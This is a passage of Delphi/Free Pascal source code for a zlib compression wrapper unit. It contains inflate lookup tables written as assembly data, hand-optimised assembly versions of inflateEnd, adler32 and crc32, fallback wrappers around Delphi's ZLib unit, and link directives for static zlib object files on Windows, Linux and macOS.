db 10H, 07H, 03H, 00H, 00H, 08H, 52H, 00H
db 00H, 08H, 12H, 00H, 15H, 08H, 0A3H, 00H
db 13H, 07H, 23H, 00H, 00H, 08H, 72H, 00H
db 00H, 08H, 32H, 00H, 00H, 09H, 0C4H, 00H
db 11H, 07H, 0BH, 00H, 00H, 08H, 62H, 00H
db 00H, 08H, 22H, 00H, 00H, 09H, 0A4H, 00H
db 00H, 08H, 02H, 00H, 00H, 08H, 82H, 00H
db 00H, 08H, 42H, 00H, 00H, 09H, 0E4H, 00H
db 10H, 07H, 07H, 00H, 00H, 08H, 5AH, 00H
db 00H, 08H, 1AH, 00H, 00H, 09H, 94H, 00H
db 14H, 07H, 43H, 00H, 00H, 08H, 7AH, 00H
db 00H, 08H, 3AH, 00H, 00H, 09H, 0D4H, 00H
db 12H, 07H, 13H, 00H, 00H, 08H, 6AH, 00H
db 00H, 08H, 2AH, 00H, 00H, 09H, 0B4H, 00H
db 00H, 08H, 0AH, 00H, 00H, 08H, 8AH, 00H
db 00H, 08H, 4AH, 00H, 00H, 09H, 0F4H, 00H
db 10H, 07H, 05H, 00H, 00H, 08H, 56H, 00H
db 00H, 08H, 16H, 00H, 40H, 08H, 00H, 00H
db 13H, 07H, 33H, 00H, 00H, 08H, 76H, 00H
db 00H, 08H, 36H, 00H, 00H, 09H, 0CCH, 00H
db 11H, 07H, 0FH, 00H, 00H, 08H, 66H, 00H
db 00H, 08H, 26H, 00H, 00H, 09H, 0ACH, 00H
db 00H, 08H, 06H, 00H, 00H, 08H, 86H, 00H
db 00H, 08H, 46H, 00H, 00H, 09H, 0ECH, 00H
db 10H, 07H, 09H, 00H, 00H, 08H, 5EH, 00H
db 00H, 08H, 1EH, 00H, 00H, 09H, 9CH, 00H
db 14H, 07H, 63H, 00H, 00H, 08H, 7EH, 00H
db 00H, 08H, 3EH, 00H, 00H, 09H, 0DCH, 00H
db 12H, 07H, 1BH, 00H, 00H, 08H, 6EH, 00H
db 00H, 08H, 2EH, 00H, 00H, 09H, 0BCH, 00H
db 00H, 08H, 0EH, 00H, 00H, 08H, 8EH, 00H
db 00H, 08H, 4EH, 00H, 00H, 09H, 0FCH, 00H
db 60H, 07H, 00H, 00H, 00H, 08H, 51H, 00H
db 00H, 08H, 11H, 00H, 15H, 08H, 83H, 00H
db 12H, 07H, 1FH, 00H, 00H, 08H, 71H, 00H
db 00H, 08H, 31H, 00H, 00H, 09H, 0C2H, 00H
db 10H, 07H, 0AH, 00H, 00H, 08H, 61H, 00H
db 00H, 08H, 21H, 00H, 00H, 09H, 0A2H, 00H
db 00H, 08H, 01H, 00H, 00H, 08H, 81H, 00H
db 00H, 08H, 41H, 00H, 00H, 09H, 0E2H, 00H
db 10H, 07H, 06H, 00H, 00H, 08H, 59H, 00H
db 00H, 08H, 19H, 00H, 00H, 09H, 92H, 00H
db 13H, 07H, 3BH, 00H, 00H, 08H, 79H, 00H
db 00H, 08H, 39H, 00H, 00H, 09H, 0D2H, 00H
db 11H, 07H, 11H, 00H, 00H, 08H, 69H, 00H
db 00H, 08H, 29H, 00H, 00H, 09H, 0B2H, 00H
db 00H, 08H, 09H, 00H, 00H, 08H, 89H, 00H
db 00H, 08H, 49H, 00H, 00H, 09H, 0F2H, 00H
db 10H, 07H, 04H, 00H, 00H, 08H, 55H, 00H
db 00H, 08H, 15H, 00H, 10H, 08H, 02H, 01H
db 13H, 07H, 2BH, 00H, 00H, 08H, 75H, 00H
db 00H, 08H, 35H, 00H, 00H, 09H, 0CAH, 00H
db 11H, 07H, 0DH, 00H, 00H, 08H, 65H, 00H
db 00H, 08H, 25H, 00H, 00H, 09H, 0AAH, 00H
db 00H, 08H, 05H, 00H, 00H, 08H, 85H, 00H
db 00H, 08H, 45H, 00H, 00H, 09H, 0EAH, 00H
db 10H, 07H, 08H, 00H, 00H, 08H, 5DH, 00H
db 00H, 08H, 1DH, 00H, 00H, 09H, 9AH, 00H
db 14H, 07H, 53H, 00H, 00H, 08H, 7DH, 00H
db 00H, 08H, 3DH, 00H, 00H, 09H, 0DAH, 00H
db 12H, 07H, 17H, 00H, 00H, 08H, 6DH, 00H
db 00H, 08H, 2DH, 00H, 00H, 09H, 0BAH, 00H
db 00H, 08H, 0DH, 00H, 00H, 08H, 8DH, 00H
db 00H, 08H, 4DH, 00H, 00H, 09H, 0FAH, 00H
db 10H, 07H, 03H, 00H, 00H, 08H, 53H, 00H
db 00H, 08H, 13H, 00H, 15H, 08H, 0C3H, 00H
db 13H, 07H, 23H, 00H, 00H, 08H, 73H, 00H
db 00H, 08H, 33H, 00H, 00H, 09H, 0C6H, 00H
db 11H, 07H, 0BH, 00H, 00H, 08H, 63H, 00H
db 00H, 08H, 23H, 00H, 00H, 09H, 0A6H, 00H
db 00H, 08H, 03H, 00H, 00H, 08H, 83H, 00H
db 00H, 08H, 43H, 00H, 00H, 09H, 0E6H, 00H
db 10H, 07H, 07H, 00H, 00H, 08H, 5BH, 00H
db 00H, 08H, 1BH, 00H, 00H, 09H, 96H, 00H
db 14H, 07H, 43H, 00H, 00H, 08H, 7BH, 00H
db 00H, 08H, 3BH, 00H, 00H, 09H, 0D6H, 00H
db 12H, 07H, 13H, 00H, 00H, 08H, 6BH, 00H
db 00H, 08H, 2BH, 00H, 00H, 09H, 0B6H, 00H
db 00H, 08H, 0BH, 00H, 00H, 08H, 8BH, 00H
db 00H, 08H, 4BH, 00H, 00H, 09H, 0F6H, 00H
db 10H, 07H, 05H, 00H, 00H, 08H, 57H, 00H
db 00H, 08H, 17H, 00H, 40H, 08H, 00H, 00H
db 13H, 07H, 33H, 00H, 00H, 08H, 77H, 00H
db 00H, 08H, 37H, 00H, 00H, 09H, 0CEH, 00H
db 11H, 07H, 0FH, 00H, 00H, 08H, 67H, 00H
db 00H, 08H, 27H, 00H, 00H, 09H, 0AEH, 00H
db 00H, 08H, 07H, 00H, 00H, 08H, 87H, 00H
db 00H, 08H, 47H, 00H, 00H, 09H, 0EEH, 00H
db 10H, 07H, 09H, 00H, 00H, 08H, 5FH, 00H
db 00H, 08H, 1FH, 00H, 00H, 09H, 9EH, 00H
db 14H, 07H, 63H, 00H, 00H, 08H, 7FH, 00H
db 00H, 08H, 3FH, 00H, 00H, 09H, 0DEH, 00H
db 12H, 07H, 1BH, 00H, 00H, 08H, 6FH, 00H
db 00H, 08H, 2FH, 00H, 00H, 09H, 0BEH, 00H
db 00H, 08H, 0FH, 00H, 00H, 08H, 8FH, 00H
db 00H, 08H, 4FH, 00H, 00H, 09H, 0FEH, 00H
db 60H, 07H, 00H, 00H, 00H, 08H, 50H, 00H
db 00H, 08H, 10H, 00H, 14H, 08H, 73H, 00H
db 12H, 07H, 1FH, 00H, 00H, 08H, 70H, 00H
db 00H, 08H, 30H, 00H, 00H, 09H, 0C1H, 00H
db 10H, 07H, 0AH, 00H, 00H, 08H, 60H, 00H
db 00H, 08H, 20H, 00H, 00H, 09H, 0A1H, 00H
db 00H, 08H, 00H, 00H, 00H, 08H, 80H, 00H
db 00H, 08H, 40H, 00H, 00H, 09H, 0E1H, 00H
db 10H, 07H, 06H, 00H, 00H, 08H, 58H, 00H
db 00H, 08H, 18H, 00H, 00H, 09H, 91H, 00H
db 13H, 07H, 3BH, 00H, 00H, 08H, 78H, 00H
db 00H, 08H, 38H, 00H, 00H, 09H, 0D1H, 00H
db 11H, 07H, 11H, 00H, 00H, 08H, 68H, 00H
db 00H, 08H, 28H, 00H, 00H, 09H, 0B1H, 00H
db 00H, 08H, 08H, 00H, 00H, 08H, 88H, 00H
db 00H, 08H, 48H, 00H, 00H, 09H, 0F1H, 00H
db 10H, 07H, 04H, 00H, 00H, 08H, 54H, 00H
db 00H, 08H, 14H, 00H, 15H, 08H, 0E3H, 00H
db 13H, 07H, 2BH, 00H, 00H, 08H, 74H, 00H
db 00H, 08H, 34H, 00H, 00H, 09H, 0C9H, 00H
db 11H, 07H, 0DH, 00H, 00H, 08H, 64H, 00H
db 00H, 08H, 24H, 00H, 00H, 09H, 0A9H, 00H
db 00H, 08H, 04H, 00H, 00H, 08H, 84H, 00H
db 00H, 08H, 44H, 00H, 00H, 09H, 0E9H, 00H
db 10H, 07H, 08H, 00H, 00H, 08H, 5CH, 00H
db 00H, 08H, 1CH, 00H, 00H, 09H, 99H, 00H
db 14H, 07H, 53H, 00H, 00H, 08H, 7CH, 00H
db 00H, 08H, 3CH, 00H, 00H, 09H, 0D9H, 00H
db 12H, 07H, 17H, 00H, 00H, 08H, 6CH, 00H
db 00H, 08H, 2CH, 00H, 00H, 09H, 0B9H, 00H
db 00H, 08H, 0CH, 00H, 00H, 08H, 8CH, 00H
db 00H, 08H, 4CH, 00H, 00H, 09H, 0F9H, 00H
db 10H, 07H, 03H, 00H, 00H, 08H, 52H, 00H
db 00H, 08H, 12H, 00H, 15H, 08H, 0A3H, 00H
db 13H, 07H, 23H, 00H, 00H, 08H, 72H, 00H
db 00H, 08H, 32H, 00H, 00H, 09H, 0C5H, 00H
db 11H, 07H, 0BH, 00H, 00H, 08H, 62H, 00H
db 00H, 08H, 22H, 00H, 00H, 09H, 0A5H, 00H
db 00H, 08H, 02H, 00H, 00H, 08H, 82H, 00H
db 00H, 08H, 42H, 00H, 00H, 09H, 0E5H, 00H
db 10H, 07H, 07H, 00H, 00H, 08H, 5AH, 00H
db 00H, 08H, 1AH, 00H, 00H, 09H, 95H, 00H
db 14H, 07H, 43H, 00H, 00H, 08H, 7AH, 00H
db 00H, 08H, 3AH, 00H, 00H, 09H, 0D5H, 00H
db 12H, 07H, 13H, 00H, 00H, 08H, 6AH, 00H
db 00H, 08H, 2AH, 00H, 00H, 09H, 0B5H, 00H
db 00H, 08H, 0AH, 00H, 00H, 08H, 8AH, 00H
db 00H, 08H, 4AH, 00H, 00H, 09H, 0F5H, 00H
db 10H, 07H, 05H, 00H, 00H, 08H, 56H, 00H
db 00H, 08H, 16H, 00H, 40H, 08H, 00H, 00H
db 13H, 07H, 33H, 00H, 00H, 08H, 76H, 00H
db 00H, 08H, 36H, 00H, 00H, 09H, 0CDH, 00H
db 11H, 07H, 0FH, 00H, 00H, 08H, 66H, 00H
db 00H, 08H, 26H, 00H, 00H, 09H, 0ADH, 00H
db 00H, 08H, 06H, 00H, 00H, 08H, 86H, 00H
db 00H, 08H, 46H, 00H, 00H, 09H, 0EDH, 00H
db 10H, 07H, 09H, 00H, 00H, 08H, 5EH, 00H
db 00H, 08H, 1EH, 00H, 00H, 09H, 9DH, 00H
db 14H, 07H, 63H, 00H, 00H, 08H, 7EH, 00H
db 00H, 08H, 3EH, 00H, 00H, 09H, 0DDH, 00H
db 12H, 07H, 1BH, 00H, 00H, 08H, 6EH, 00H
db 00H, 08H, 2EH, 00H, 00H, 09H, 0BDH, 00H
db 00H, 08H, 0EH, 00H, 00H, 08H, 8EH, 00H
db 00H, 08H, 4EH, 00H, 00H, 09H, 0FDH, 00H
db 60H, 07H, 00H, 00H, 00H, 08H, 51H, 00H
db 00H, 08H, 11H, 00H, 15H, 08H, 83H, 00H
db 12H, 07H, 1FH, 00H, 00H, 08H, 71H, 00H
db 00H, 08H, 31H, 00H, 00H, 09H, 0C3H, 00H
db 10H, 07H, 0AH, 00H, 00H, 08H, 61H, 00H
db 00H, 08H, 21H, 00H, 00H, 09H, 0A3H, 00H
db 00H, 08H, 01H, 00H, 00H, 08H, 81H, 00H
db 00H, 08H, 41H, 00H, 00H, 09H, 0E3H, 00H
db 10H, 07H, 06H, 00H, 00H, 08H, 59H, 00H
db 00H, 08H, 19H, 00H, 00H, 09H, 93H, 00H
db 13H, 07H, 3BH, 00H, 00H, 08H, 79H, 00H
db 00H, 08H, 39H, 00H, 00H, 09H, 0D3H, 00H
db 11H, 07H, 11H, 00H, 00H, 08H, 69H, 00H
db 00H, 08H, 29H, 00H, 00H, 09H, 0B3H, 00H
db 00H, 08H, 09H, 00H, 00H, 08H, 89H, 00H
db 00H, 08H, 49H, 00H, 00H, 09H, 0F3H, 00H
db 10H, 07H, 04H, 00H, 00H, 08H, 55H, 00H
db 00H, 08H, 15H, 00H, 10H, 08H, 02H, 01H
db 13H, 07H, 2BH, 00H, 00H, 08H, 75H, 00H
db 00H, 08H, 35H, 00H, 00H, 09H, 0CBH, 00H
db 11H, 07H, 0DH, 00H, 00H, 08H, 65H, 00H
db 00H, 08H, 25H, 00H, 00H, 09H, 0ABH, 00H
db 00H, 08H, 05H, 00H, 00H, 08H, 85H, 00H
db 00H, 08H, 45H, 00H, 00H, 09H, 0EBH, 00H
db 10H, 07H, 08H, 00H, 00H, 08H, 5DH, 00H
db 00H, 08H, 1DH, 00H, 00H, 09H, 9BH, 00H
db 14H, 07H, 53H, 00H, 00H, 08H, 7DH, 00H
db 00H, 08H, 3DH, 00H, 00H, 09H, 0DBH, 00H
db 12H, 07H, 17H, 00H, 00H, 08H, 6DH, 00H
db 00H, 08H, 2DH, 00H, 00H, 09H, 0BBH, 00H
db 00H, 08H, 0DH, 00H, 00H, 08H, 8DH, 00H
db 00H, 08H, 4DH, 00H, 00H, 09H, 0FBH, 00H
db 10H, 07H, 03H, 00H, 00H, 08H, 53H, 00H
db 00H, 08H, 13H, 00H, 15H, 08H, 0C3H, 00H
db 13H, 07H, 23H, 00H, 00H, 08H, 73H, 00H
db 00H, 08H, 33H, 00H, 00H, 09H, 0C7H, 00H
db 11H, 07H, 0BH, 00H, 00H, 08H, 63H, 00H
db 00H, 08H, 23H, 00H, 00H, 09H, 0A7H, 00H
db 00H, 08H, 03H, 00H, 00H, 08H, 83H, 00H
db 00H, 08H, 43H, 00H, 00H, 09H, 0E7H, 00H
db 10H, 07H, 07H, 00H, 00H, 08H, 5BH, 00H
db 00H, 08H, 1BH, 00H, 00H, 09H, 97H, 00H
db 14H, 07H, 43H, 00H, 00H, 08H, 7BH, 00H
db 00H, 08H, 3BH, 00H, 00H, 09H, 0D7H, 00H
db 12H, 07H, 13H, 00H, 00H, 08H, 6BH, 00H
db 00H, 08H, 2BH, 00H, 00H, 09H, 0B7H, 00H
db 00H, 08H, 0BH, 00H, 00H, 08H, 8BH, 00H
db 00H, 08H, 4BH, 00H, 00H, 09H, 0F7H, 00H
db 10H, 07H, 05H, 00H, 00H, 08H, 57H, 00H
db 00H, 08H, 17H, 00H, 40H, 08H, 00H, 00H
db 13H, 07H, 33H, 00H, 00H, 08H, 77H, 00H
db 00H, 08H, 37H, 00H, 00H, 09H, 0CFH, 00H
db 11H, 07H, 0FH, 00H, 00H, 08H, 67H, 00H
db 00H, 08H, 27H, 00H, 00H, 09H, 0AFH, 00H
db 00H, 08H, 07H, 00H, 00H, 08H, 87H, 00H
db 00H, 08H, 47H, 00H, 00H, 09H, 0EFH, 00H
db 10H, 07H, 09H, 00H, 00H, 08H, 5FH, 00H
db 00H, 08H, 1FH, 00H, 00H, 09H, 9FH, 00H
db 14H, 07H, 63H, 00H, 00H, 08H, 7FH, 00H
db 00H, 08H, 3FH, 00H, 00H, 09H, 0DFH, 00H
db 12H, 07H, 1BH, 00H, 00H, 08H, 6FH, 00H
db 00H, 08H, 2FH, 00H, 00H, 09H, 0BFH, 00H
db 00H, 08H, 0FH, 00H, 00H, 08H, 8FH, 00H
db 00H, 08H, 4FH, 00H, 00H, 09H, 0FFH, 00H
@@250: db 10H, 05H, 01H, 00H, 17H, 05H, 01H, 01H
db 13H, 05H, 11H, 00H, 1BH, 05H, 01H, 10H
db 11H, 05H, 05H, 00H, 19H, 05H, 01H, 04H
db 15H, 05H, 41H, 00H, 1DH, 05H, 01H, 40H
db 10H, 05H, 03H, 00H, 18H, 05H, 01H, 02H
db 14H, 05H, 21H, 00H, 1CH, 05H, 01H, 20H
db 12H, 05H, 09H, 00H, 1AH, 05H, 01H, 08H
db 16H, 05H, 81H, 00H, 40H, 05H, 00H, 00H
db 10H, 05H, 02H, 00H, 17H, 05H, 81H, 01H
db 13H, 05H, 19H, 00H, 1BH, 05H, 01H, 18H
db 11H, 05H, 07H, 00H, 19H, 05H, 01H, 06H
db 15H, 05H, 61H, 00H, 1DH, 05H, 01H, 60H
db 10H, 05H, 04H, 00H, 18H, 05H, 01H, 03H
db 14H, 05H, 31H, 00H, 1CH, 05H, 01H, 30H
db 12H, 05H, 0DH, 00H, 1AH, 05H, 01H, 0CH
db 16H, 05H, 0C1H, 00H, 40H, 05H, 00H, 00H
@@263: db 03H, 00H, 04H, 00H, 05H, 00H, 06H, 00H
db 07H, 00H, 08H, 00H, 09H, 00H, 0AH, 00H
db 0BH, 00H, 0DH, 00H, 0FH, 00H, 11H, 00H
db 13H, 00H, 17H, 00H, 1BH, 00H, 1FH, 00H
db 23H, 00H, 2BH, 00H, 33H, 00H, 3BH, 00H
db 43H, 00H, 53H, 00H, 63H, 00H, 73H, 00H
db 83H, 00H, 0A3H, 00H, 0C3H, 00H, 0E3H, 00H
db 02H, 01H, 00H, 00H, 00H, 00H, 00H, 00H
@@264: db 10H, 00H, 10H, 00H, 10H, 00H, 10H, 00H
db 10H, 00H, 10H, 00H, 10H, 00H, 10H, 00H
db 11H, 00H, 11H, 00H, 11H, 00H, 11H, 00H
db 12H, 00H, 12H, 00H, 12H, 00H, 12H, 00H
db 13H, 00H, 13H, 00H, 13H, 00H, 13H, 00H
db 14H, 00H, 14H, 00H, 14H, 00H, 14H, 00H
db 15H, 00H, 15H, 00H, 15H, 00H, 15H, 00H
db 10H, 00H, 0C9H, 00H, 0C4H, 00H, 00H, 00H
@@265: db 01H, 00H, 02H, 00H, 03H, 00H, 04H, 00H
db 05H, 00H, 07H, 00H, 09H, 00H, 0DH, 00H
db 11H, 00H, 19H, 00H, 21H, 00H, 31H, 00H
db 41H, 00H, 61H, 00H, 81H, 00H, 0C1H, 00H
db 01H, 01H, 81H, 01H, 01H, 02H, 01H, 03H
db 01H, 04H, 01H, 06H, 01H, 08H, 01H, 0CH
db 01H, 10H, 01H, 18H, 01H, 20H, 01H, 30H
db 01H, 40H, 01H, 60H, 00H, 00H, 00H, 00H
@@266: db 10H, 00H, 10H, 00H, 10H, 00H, 10H, 00H
db 11H, 00H, 11H, 00H, 12H, 00H, 12H, 00H
db 13H, 00H, 13H, 00H, 14H, 00H, 14H, 00H
db 15H, 00H, 15H, 00H, 16H, 00H, 16H, 00H
db 17H, 00H, 17H, 00H, 18H, 00H, 18H, 00H
db 19H, 00H, 19H, 00H, 1AH, 00H, 1AH, 00H
db 1BH, 00H, 1BH, 00H, 1CH, 00H, 1CH, 00H
db 1DH, 00H, 1DH, 00H, 40H, 00H, 40H, 00H
end;
function inflateEnd;
asm pop ebp // auto-generated push ebp; mov ebp,esp
push esi
mov esi, dword ptr [esp + 08H]
test esi, esi
jz @@195
mov eax, dword ptr [esi + 1CH]
test eax, eax
jz @@195
mov ecx, dword ptr [esi + 24H]
test ecx, ecx
jz @@195
mov eax, dword ptr [eax + 34H]
test eax, eax
jz @@194
push eax
mov eax, dword ptr [esi + 28H]
push eax
call ecx
@@194: mov ecx, dword ptr [esi + 1CH]
mov edx, dword ptr [esi + 28H]
push ecx
push edx
call dword ptr [esi + 24H]
mov dword ptr [esi + 1CH], 0
xor eax, eax
pop esi
ret 4
@@195: mov eax, -2
pop esi
ret 4
end;
function adler32;
// our optimized asm version, faster than the original zlib C implementation
asm
push ebx
push esi
push edi
mov edi,eax
shr edi,16
movzx ebx,ax
push ebp
mov esi,edx
test esi,esi
mov ebp,ecx
jne @31
mov eax,1
jmp @32
@31:
test ebp,ebp
jbe @34
@33:
cmp ebp,5552
jae @35
mov eax,ebp
jmp @36
nop; nop
@35:
mov eax,5552
@36:
sub ebp,eax
cmp eax,16
jl @38
xor edx,edx
xor ecx,ecx
@39:
sub eax,16
mov dl,[esi]
mov cl,[esi+1]
add ebx,edx
add edi,ebx
add ebx,ecx
mov dl,[esi+2]
add edi,ebx
add ebx,edx
mov cl,[esi+3]
add edi,ebx
add ebx,ecx
mov dl,[esi+4]
add edi,ebx
add ebx,edx
mov cl,[esi+5]
add edi,ebx
add ebx,ecx
mov dl,[esi+6]
add edi,ebx
add ebx,edx
mov cl,[esi+7]
add edi,ebx
add ebx,ecx
mov dl,[esi+8]
add edi,ebx
add ebx,edx
mov cl,[esi+9]
add edi,ebx
add ebx,ecx
mov dl,[esi+10]
add edi,ebx
add ebx,edx
mov cl,[esi+11]
add edi,ebx
add ebx,ecx
mov dl,[esi+12]
add edi,ebx
add ebx,edx
mov cl,[esi+13]
add edi,ebx
add ebx,ecx
mov dl,[esi+14]
add edi,ebx
add ebx,edx
mov cl,[esi+15]
add edi,ebx
add ebx,ecx
cmp eax,16
lea esi,[esi+16]
lea edi,[edi+ebx]
jge @39
@38:
test eax,eax
je @42
@43:
xor edx,edx
mov dl,[esi]
add ebx,edx
dec eax
lea esi,[esi+1]
lea edi,[edi+ebx]
jg @43
@42:
mov ecx,65521
mov eax,ebx
xor edx,edx
div ecx
mov ebx,edx
mov ecx,65521
mov eax,edi
xor edx,edx
div ecx
test ebp,ebp
mov edi,edx
ja @33
@34:
mov eax,edi
shl eax,16
or eax,ebx
@45:
@32:
pop ebp
pop edi
pop esi
pop ebx
end;
{$define BYFOUR}
// if defined, the crc32 hashing is performed using 8 tables, for better
// CPU pipelining and faster execution
var
// tables content is created from code in initialization section below
// (save 8 KB of code size from standard crc32.obj, with no speed penalty)
crc32tab: array[0..{$ifdef BYFOUR}7{$else}0{$endif},byte] of cardinal;
function crc32(crc: cardinal; buf: PAnsiChar; len: cardinal): cardinal;
// adapted from fast Aleksandr Sharahov version
asm
test edx, edx
jz @ret
neg ecx
jz @ret
not eax
push ebx
{$ifdef BYFOUR}
@head:
test dl, 3
jz @bodyinit
movzx ebx, byte [edx]
inc edx
xor bl, al
shr eax, 8
xor eax,dword ptr [ebx*4 + crc32tab]
inc ecx
jnz @head
pop ebx
not eax
ret
@ret:
rep ret
@bodyinit:
sub edx, ecx
add ecx, 8
jg @bodydone
push esi
push edi
mov edi, edx
mov edx, eax
@bodyloop:
mov ebx, [edi + ecx - 4]
xor edx, [edi + ecx - 8]
movzx esi, bl
mov eax,dword ptr [esi*4 + crc32tab + 1024*3]
movzx esi, bh
xor eax,dword ptr [esi*4 + crc32tab + 1024*2]
shr ebx, 16
movzx esi, bl
xor eax,dword ptr [esi*4 + crc32tab + 1024*1]
movzx esi, bh
xor eax,dword ptr [esi*4 + crc32tab + 1024*0]
movzx esi, dl
xor eax,dword ptr [esi*4 + crc32tab + 1024*7]
movzx esi, dh
xor eax,dword ptr [esi*4 + crc32tab + 1024*6]
shr edx, 16
movzx esi, dl
xor eax,dword ptr [esi*4 + crc32tab + 1024*5]
movzx esi, dh
xor eax,dword ptr [esi*4 + crc32tab + 1024*4]
add ecx, 8
jg @done
mov ebx, [edi + ecx - 4]
xor eax, [edi + ecx - 8]
movzx esi, bl
mov edx,dword ptr [esi*4 + crc32tab + 1024*3]
movzx esi, bh
xor edx,dword ptr [esi*4 + crc32tab + 1024*2]
shr ebx, 16
movzx esi, bl
xor edx,dword ptr [esi*4 + crc32tab + 1024*1]
movzx esi, bh
xor edx,dword ptr [esi*4 + crc32tab + 1024*0]
movzx esi, al
xor edx,dword ptr [esi*4 + crc32tab + 1024*7]
movzx esi, ah
xor edx,dword ptr [esi*4 + crc32tab + 1024*6]
shr eax, 16
movzx esi, al
xor edx,dword ptr [esi*4 + crc32tab + 1024*5]
movzx esi, ah
xor edx,dword ptr [esi*4 + crc32tab + 1024*4]
add ecx, 8
jle @bodyloop
mov eax, edx
@done:
mov edx, edi
pop edi
pop esi
@bodydone:
sub ecx, 8
jl @tail
pop ebx
not eax
ret
@tail:
movzx ebx,byte ptr [edx + ecx]
xor bl,al
shr eax,8
xor eax,dword ptr [ebx*4 + crc32tab]
inc ecx
jnz @tail
pop ebx
not eax
{$else}
sub edx,ecx
@next:
movzx ebx,byte ptr [edx + ecx]
xor bl, al
shr eax, 8
xor eax, [ebx*4 + crc32tab]
add ecx, 1
jnz @next
pop ebx
not eax
ret
@ret:
db $f3 // rep ret
{$endif BYFOUR}
end;
function get_crc_table: pointer;
begin
result := @crc32tab;
end;
function zcalloc(AppData: Pointer; Items, Size: cardinal): Pointer;
begin // direct use of the (FastMM4) delphi heap for all zip memory allocation
Getmem(result,Items * Size);
end;
procedure zcfree(AppData, Block: Pointer);
begin // direct use of the (FastMM4) delphi heap for all zip memory allocation
FreeMem(Block);
end;
procedure _memcpy(dest, src: Pointer; count: integer); cdecl;
begin // will use fastcode if compiled within
Move(src^, dest^, count);
end;
procedure _memset(dest: Pointer; val: Integer; count: integer); cdecl;
begin // will use fastcode if compiled within
FillChar(dest^, count, val);
end;
{$else}
{$ifdef USEDELPHIZLIB} // Delphi linker is really bugged -> use slow ZLib.dcu
function deflate(var strm: TZStream; flush: integer): integer; cdecl;
begin
result := ZLib.deflate(z_stream(strm),flush);
end;
function deflateEnd(var strm: TZStream): integer; cdecl;
begin
result := ZLib.deflateEnd(z_stream(strm));
end;
function inflate(var strm: TZStream; flush: integer): integer; cdecl;
begin
result := ZLib.inflate(z_stream(strm),flush);
end;
function inflateEnd(var strm: TZStream): integer; cdecl;
begin
result := ZLib.inflateEnd(z_stream(strm));
end;
function adler32(adler: TZCRC; buf: PAnsiChar; len: cardinal): TZCRC; cdecl;
begin
result := ZLib.adler32(adler,pointer(buf),len);
end;
function crc32(crc: TZCRC; buf: PAnsiChar; len: cardinal): TZCRC; cdecl;
begin
result := ZLib.crc32(crc,pointer(buf),len);
end;
function deflateInit_(var strm: TZStream; level: integer;
version: PAnsiChar; stream_size: integer): integer; cdecl;
begin
result := ZLib.deflateInit_(z_stream(strm),level,version,stream_size);
end;
function inflateInit_(var strm: TZStream;
version: PAnsiChar; stream_size: integer): integer; cdecl;
begin
result := ZLib.inflateInit_(z_stream(strm),version,stream_size);
end;
function deflateInit2_(var strm: TZStream;
level, method, windowBits, memLevel, strategy: integer;
version: PAnsiChar; stream_size: integer): integer; cdecl;
begin
result := ZLib.deflateInit2_(z_stream(strm),level,method,windowBits,memLevel,
strategy,version,stream_size);
end;
function inflateInit2_(var strm: TZStream; windowBits: integer;
version: PAnsiChar; stream_size: integer): integer; cdecl;
begin
result := ZLib.inflateInit2_(z_stream(strm),windowBits,version,stream_size);
end;
function get_crc_table: pointer; cdecl;
begin
result := ZLib.get_crc_table;
end;
{$endif USEDELPHIZLIB}
{$ifdef FPC} // we supply our own static zlib files in coff format for Windows
{$ifdef WIN32}
{$LINK static\i386-win32\deflate.o}
{$LINK static\i386-win32\trees.o}
{$LINK static\i386-win32\zutil.o}
{$LINK static\i386-win32\inffast.o}
{$LINK static\i386-win32\inflate.o}
{$LINK static\i386-win32\inftrees.o}
{$LINK static\i386-win32\adler32.o}
{$LINK static\i386-win32\crc32.o}
{$linklib static\i386-win32\libmsvcrt.a}
{$endif}
{$ifdef LINUX}{$ifndef DARWIN}
{$ifdef USEZLIBSSE}
{$L .\x86_64-linux\adler32.o}
{$L .\x86_64-linux\adler32_simd.o}
{$L .\x86_64-linux\crc32.o}
{$L .\x86_64-linux\crc32_simd.o}
{$L .\x86_64-linux\deflate.o}
{$L .\x86_64-linux\inffast.o}
{$L .\x86_64-linux\inffast_chunk.o}
{$L .\x86_64-linux\inflate.o}
{$L .\x86_64-linux\inftrees.o}
{$L .\x86_64-linux\trees.o}
{$L .\x86_64-linux\zutil.o}
{$ENDIF}
{$ENDIF}{$ENDIF}
{$ifdef DARWIN}
{$ifdef USEZLIBSSE}
{$ifdef CPUAARCH64}
{$L .\aarch64-darwin\adler32.o}
{$L .\aarch64-darwin\adler32_simd.o}
{$L .\aarch64-darwin\crc32.o}
//{$L .\aarch64-darwin\crc32_simd.o}
{$L .\aarch64-darwin\deflate.o}
{$L .\aarch64-darwin\inffast.o}
//{$L .\aarch64-darwin\inffast_chunk.o}
{$L .\aarch64-darwin\inflate.o}
{$L .\aarch64-darwin\inftrees.o}
{$L .\aarch64-darwin\trees.o}
{$L .\aarch64-darwin\zutil.o}
{$ELSE}
{$L .\x86_64-darwin\adler32.o}
{$L .\x86_64-darwin\adler32_simd.o}
{$L .\x86_64-darwin\crc32.o}
{$L .\x86_64-darwin\crc32_simd.o}
{$L .\x86_64-darwin\deflate.o}
{$L .\x86_64-darwin\inffast.o}
{$L .\x86_64-darwin\inffast_chunk.o}
{$L .\x86_64-darwin\inflate.o}
{$L .\x86_64-darwin\inftrees.o}
{$L .\x86_64-darwin\trees.o}
{$L .\x86_64-darwin\zutil.o}
{$ENDIF}
{$ENDIF}
{$ENDIF}
{$ifdef WIN64}
{$ifdef USEZLIBSSE}
(*{$L ..\static\x86_64-win64\sse\inffast.o}
{$L ..\static\x86_64-win64\sse\inftrees.o}
{$L ..\static\x86_64-win64\sse\inflate.o}
{$L ..\static\x86_64-win64\sse\deflate.o}
{$L ..\static\x86_64-win64\sse\trees.o}
{$L ..\static\x86_64-win64\sse\adler32.o}
{$L ..\static\x86_64-win64\sse\crc32.o}
{$L ..\static\x86_64-win64\sse\zutil.o} *)
{$L .\x86_64-win64\adler32_simd.o}
{$L .\x86_64-win64\crc32_simd.o}
{$L .\x86_64-win64\inffast_chunk.o}
{$L .\x86_64-win64\inffast.o}
{$L .\x86_64-win64\inftrees.o}
{$L .\x86_64-win64\inflate.o}
{$L .\x86_64-win64\deflate.o}
{$L .\x86_64-win64\trees.o}
{$L .\x86_64-win64\adler32.o}
{$L .\x86_64-win64\crc32.o}
{$L .\x86_64-win64\zutil.o}
{$else USEZLIBSSE}
{$L static\x86_64-win64\inffast.o}
{$L static\x86_64-win64\inftrees.o}
{$L static\x86_64-win64\inflate.o}
{$L static\x86_64-win64\deflate.o}
{$L static\x86_64-win64\trees.o}
{$L static\x86_64-win64\adler32.o}
